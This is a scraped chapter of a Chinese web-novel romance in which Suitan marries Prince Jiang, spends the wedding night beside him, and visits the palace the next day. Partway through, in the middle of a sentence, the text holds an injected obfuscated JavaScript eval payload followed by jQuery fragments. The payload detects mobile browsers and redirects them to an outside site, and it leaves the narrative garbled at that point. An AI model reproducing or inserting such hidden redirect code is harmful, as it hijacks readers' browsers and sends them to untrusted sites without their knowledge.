34.同眠

作品:《言语治疗师治不好他的嘴硬

    半个多时辰后,天色尚还昏黄。余晖披洒在岁檀身上,烘得她身心皆是暖洋洋的。


    她方用过膳食,辞别阿瑛,来到陆夫人为她备好的厢房门前。


    此处与陆瑛的闺房相邻,四处栽满绿植,算得上是一处幽静非常之处。


    她将门推开,斜阳随着她的动作打在房门推开后的地上,落得一地金箔。


    她向内一看,屋内宽敞雅致,丝毫不比她在江王府的住处要差。


    她满意地点了点头,在屋中踱着步子,思忖着这处那处日后该放些什么东西。


    窗台处放一盆茉莉花,茉莉花香清雅恬静。夜里支起窗户,就着皎洁的月色闻着它的芬芳应是极舒畅的事。


    凭几上放个软乎乎的枕头,这样若是她练字觉着困了可以直接靠在那儿睡下。


    这一侧的书架用料倒很结实,过两日可以去书肆里瞅瞅有没有新上的话本子。哦对了,先前她压在慈幼局住处的床板下的那些话本子也得抽空搬来,摆在这儿正合适。


    还有床上的瓷枕她实在睡不惯,还不如在慈幼局时枕的那个塞满荞麦皮的麻布枕头舒服。她决定将那与自己磨合了的荞麦枕与那些话本子一块儿带过来。


    到最后,她甚至想到了要在墙面上四处挂上些漂亮又可爱的画。


    她想累了。而屋外的暖风已不知何时偷偷吹灭了灯烛,漆黑一片。


    她从袖中取出火折子将烛台点亮,便又支着脑袋将身子倾压在了几案上,脑海中继续憧憬着这间房未来的模样。


    其实她知道,陆夫人对她再好,都不过是碍于陆瑛与江王,自己也不可能长久住在陆府。等到她为小缸子讨回公道,她自身摆脱了许贵妃这一危险,便该离开陆府了。


    只是她每来到一个新的住处,便忍不住幻想以后要将之改造成怎样舒适的模样。就好比当初在现代她由宿舍搬到出租屋,再搬去另一间出租屋时一样,每一回她都一如既往地想将之一一改造成自己舒服的样子。


    毕竟她切切实实要在某一阶段一直住在那里,以后的事谁又能说得上呢。她分外庆幸当初曾装点了出租屋,使她最后可以在温暖的小窝中去往另一个世界,而非在光秃秃的一间房。


    话说回来,其实江王府也好,陆府也好,归根结底都没她在慈幼局的时候舒坦自在。


    她在慈幼局的住处虽窄小昏暗,可那儿有几位宽厚的乳母、天真烂漫没什么坏心眼的许多小朋友,吃穿住都不用愁,她觉着实在是很好的地方。


    她在现代卷累了。为了钞票将自己白日的休闲时间统统贡献给了工作,导致只能在晚上偷“偷得浮生半日闲”,可是到最后却为此殒命。


    现下阴差阳错地来到这儿,她没什么经商头脑,所拥有的专业技能虽误打误撞给她赚了些银两,可若想在这寸土寸金的都城之地买座属于自己的宅子,那还真是比去月宫租房子同姮娥为伴还难。


    “嘟嘟嘟——”


    门外忽传来叩门之声。


    她将自己从攀登月宫对影自怜的幻境里抽离出来,端起烛台,起身打开了房门。


    就着幢幢烛火,她看清了面前一身月白的江王。


    他穿着一身淡蓝的宝相莲暗纹的圆领袍,腰间系着乳白清透的羊脂玉佩。月华自他冠上披洒而下,映得他肤白似玉,唇红似丹。倒真叫岁檀一恍惚觉着他像踏云而来的月下仙人。


    她看得有些微愣,唇角似张非张。


    “小坛。”


    面前人开口,声音似环佩叮当。


    岁檀回了回神,问:“殿下怎么过来了?”


    江王道:“接你回府。后日你我便要大婚了,明日许多事需要准备。”


    “这么仓促?”她脱口而出,却忽反应过来陆夫人不是答应她同江王说清楚么?


    她又问,“姨夫人不是说有除却成婚更好的法子么?”


    江王道:“其中利害姨母并不知晓,现下这是唯一的法子。”


    陆夫人以为只要收岁檀做女儿,许贵妃终究能给陆家几分薄面,哪里又知道许贵妃并非因怕岁檀被天子看上,而是岁檀实打实窥探了她的秘密——足以令许贵妃哪怕屠灭陆家满门都要守住的秘密。


    岁檀怔愣之际,江王已牵起了她的手拉着她向外走去。


    .


    后日二人大婚,宫里宫外礼数做尽。待回至府中,由赞者引二人入青庐,岁檀才得以在青庐之中得以喘息。


    江王是亲王,王府以他为尊,因此与岁檀共入青庐合卺同牢过后,便又从青帐中出去,与府中宾客一一敬酒客话。


    青庐内,虽江王怕岁檀闷热而置了冰块,可在霭霭烛火下,岁檀仍是昏昏欲睡。


    等青帐外寥寥无声,零星几声仆人收拾的动静,江王才又走进青庐内,将已昏睡在喜床上的岁檀横腰抱起,以她先前挡脸的团扇遮在她面上,替她挡住仆从收拾时的烛光。


    他抱着岁檀行至正房,将她轻轻放在榻上。


    岁檀睁眼时,江王正欲将双手从她腰间抽离而出,呼吸与她近在咫尺。


    江王的气息打在她颈上,霎时间,不知是红烛的光影恰落在了她的面上,亦或是暑夜太热,红云两朵浮于她的面颊。


    “殿下你……”岁檀很是不自在,一时有些暧昧的气息萦绕在她心头。


    江王将双手抽离开,解释道:“青庐闷热,还是睡在屋中舒服些。”


    岁檀朦胧间,是觉着摇摇晃晃地似在江中的一叶小舟上飘动了须臾。


    她揉了揉脑袋,坐起身给江王让了个空。


    “劳烦殿下送我过来。兴许是那酒太香浓了,不过才饮了一小口,我竟然睡着了。”


    她说着向周遭看去,才发觉这并非她先前住的屋子,此屋的风格更似先前看见过的江王那间书房。只是比那间书房更宽敞些,还多了一架梳妆台。


    江王轻笑一声,道:“夜色不早了,你便继续休息罢。”


    岁檀问:“那您……”


    别是要打地铺吧。


    江王道:“不多时便要起身准备入宫了,本王在几案上靠一会儿就是。”


    岁檀是个现代人,反正他们俩又的确不干嘛,犯不着叫这位救命恩人累了一天后只能靠着凭几入眠。


    她拍了拍身下的床榻,道:“殿下若不介意,我们一块睡。”


    她本意是很单纯的,话说出口却忽觉得歧义非常。


    忙又补充,“我是说这床很大,躺四五个人也足够了。殿下还是躺在这儿更舒服些。”


    江王一笑,似乎没觉得她话说得有什么,就着她让出的那空坐下了身去,说了声“好”。


    岁檀向内挪了挪身子,靠着墙边平躺下去,道:“那殿下晚安。”


    江王一滞,而后低低重复她那一声“晚安”后将红烛吹灭,解下帘幔,也躺了上去。


    岁檀


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13361658|139985||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    虽闭着眼,耳朵里却留意着他的动静,鼻尖一时又扑入清淡沉郁的香气,身下压着的锦被也忽一轻陷,她的心此时却跳得极快起来。


    她将手覆在她的心口处,心中暗骂:可恶,不过是累了顺便躺在一处休息罢了,你跳这么快干嘛,有什么好紧张的。小时候又不是没跟小男孩一块在幼儿园睡过大通铺!


    昏暗中,江王察觉到她似乎在抖,轻声道:“别怕。”


    岁檀心道她没怕啊,心理素质贼强,就是这副身体它自己不听话。


    她闭着眼仍假寐。


    心中又想着怎么样打个真实的呼噜声,表明她已真的睡着了。所谓的紧张发抖都是江王的错觉罢了。


    不知想了多久,她还真就睡着了。


    再睁眼时,她一只手与一条腿均牢牢地扒在了江王身上,脑袋靠在了江王的怀中,就像她在现代时抱着床上的那只与人同高的大熊玩偶一样。


    这下她真是发自内心地心脏砰砰直跳了。


    她忙抬起脑袋,将手脚从江王身上拿开,却不想江王虽阖着眼眸,却说:“醒了。”


    她没答话,反正江王没睁眼,他什么也没看见。


    江王未听到她答话,睁开满月般的眸子,侧身正对上了她扑朔着的眼睛。


    她只得赔笑:“殿下,不好意思。”


    这下好了,在这么一位帅气的恩人心中的形象算是荡然无存了。


    江王淡笑,道:“本王夜里睡得沉。”随后起身,从桌上倒了杯清茶递给岁檀,“若是困,便再睡些,本王去看看春和准备得如何。”


    岁檀用过水后谢了一声,也不睡了。待江王走后,请门外候着的侍女帮她添妆穿衣。


    她记着今日还是要入宫一趟去谢恩的。


    .


    说来也是奇了,今日岁檀入宫跟着江王再度去见太后与皇帝,又顺道去面见这妃那妃时,许贵妃显得同她客气极了。


    不单单大手一挥又赏赐了她如水的珠宝,那眼神动作温柔得好似真拿她当亲妹妹一般。左一句义妹又一句义妹,只说得空了多入宫中同她坐一坐,连许家她那侄儿的呆症进展如何也并没多嘴来问。


    若是岁檀先前没挨过她宫中内侍的那一巴掌,她还真要恍惚觉着许贵妃是真的心善,想拿她当妹妹来疼。对此岁檀觉着,在宫里混得,怎么着面子功夫是要做得体体面面的。


    岁檀与江王出宫回府时,听门外候着的小厮说,许夫人与许家的小公子已在府上等了些时候。她便与江王分道而行,跟着小厮去到了花厅。


    说来,自那日她与江王去了许府后,许夫人几乎日日带着许小公子上门来,专挑岁檀得空的时候。便是大前日岁檀被陆夫人接去陆府时,许夫人也很是谦恭地求到了陆府上去。


    她虽来得勤,却跟以往一样,对岁檀带着自家儿子做些什么并不置喙,均是很好说话地由着岁檀去做。而她或在一旁看着,或由江王府上的仆从领着她去逛园子,今日亦是。


    晚些时候,许夫人已带着自家儿子离开。岁檀正在房中临着字帖,门房有人来禀,说门外有一青年提礼而来,指明请见王妃殿下。


    她搁下笔,推门而出,跟着小厮行至大门口,见到了沈隽。


    他仍是竹青色的长袍,清风习习吹不皱他的风骨,就那般伫立在阶上,宛若松竹。


    他眉目豁然,却在见到岁檀的那一刹那,眉间晕开了柔波。